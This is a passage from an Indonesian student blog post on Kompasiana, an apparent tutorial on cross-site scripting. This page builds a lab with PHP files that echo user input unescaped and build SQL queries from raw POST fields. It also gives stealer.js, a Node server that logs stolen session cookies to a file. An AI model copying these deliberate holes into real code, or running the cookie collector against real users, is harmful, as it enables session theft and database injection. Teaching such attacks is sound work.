Mohon tunggu...
roby sunjaya
roby sunjaya Mohon Tunggu... Mahasiswa

Saya adalah mahasiswa Teknik Informatika

Selanjutnya

Tutup

Pendidikan

Mengungkap Bahaya Cross-Site Scripting(XSS):Eksperimen dan Cara Mencegahnya

26 April 2025   17:38 Diperbarui: 2 Mei 2025   13:07 109
+
Laporkan Konten
Laporkan Akun
Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas.
Lihat foto
Bagikan ide kreativitasmu dalam bentuk konten di Kompasiana | Sumber gambar: Freepik

<?php
if (isset($_GET['name'])) {
    echo "Hello, " . $_GET['name'];
}
?>

6. Buat file save_comment.php 

<?php
$conn = new mysqli("localhost", "root", "", "xss_advanced");

$username = $_POST['username'];
$comment = $_POST['comment'];

$conn->query("INSERT INTO comments (username, comment) VALUES ('$username', '$comment')");
echo "Komentar berhasil disimpan.<br>";
echo "<a href='view_comments.php'>Lihat Komentar</a>";
?>

7. Buat file view_comments.php

<?php
$conn = new mysqli("localhost", "root", "", "xss_advanced");
$result = $conn->query("SELECT * FROM comments");

while ($row = $result->fetch_assoc()) {
    echo "<b>" . $row['username'] . "</b>: " . $row['comment'] . "<br><hr>";
}
?>

8. Buat file stealer.js 

const http = require('http');
const fs = require('fs');

http.createServer((req, res) => {
    const url = require('url').parse(req.url, true);
    if (url.pathname === '/steal') {
        const log = `Stolen cookie: ${url.query.c}\n`;
        fs.appendFileSync('stolen_cookies.txt', log);
        res.end("OK");
    } else {
        res.end("Nothing here.");
    }
}).listen(1337);

HALAMAN :
  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
Mohon tunggu...

Lihat Konten Pendidikan Selengkapnya
Lihat Pendidikan Selengkapnya
Beri Komentar
Berkomentarlah secara bijaksana dan bertanggung jawab. Komentar sepenuhnya menjadi tanggung jawab komentator seperti diatur dalam UU ITE

Belum ada komentar. Jadilah yang pertama untuk memberikan komentar!
LAPORKAN KONTEN
Alasan
Laporkan Konten
Laporkan Akun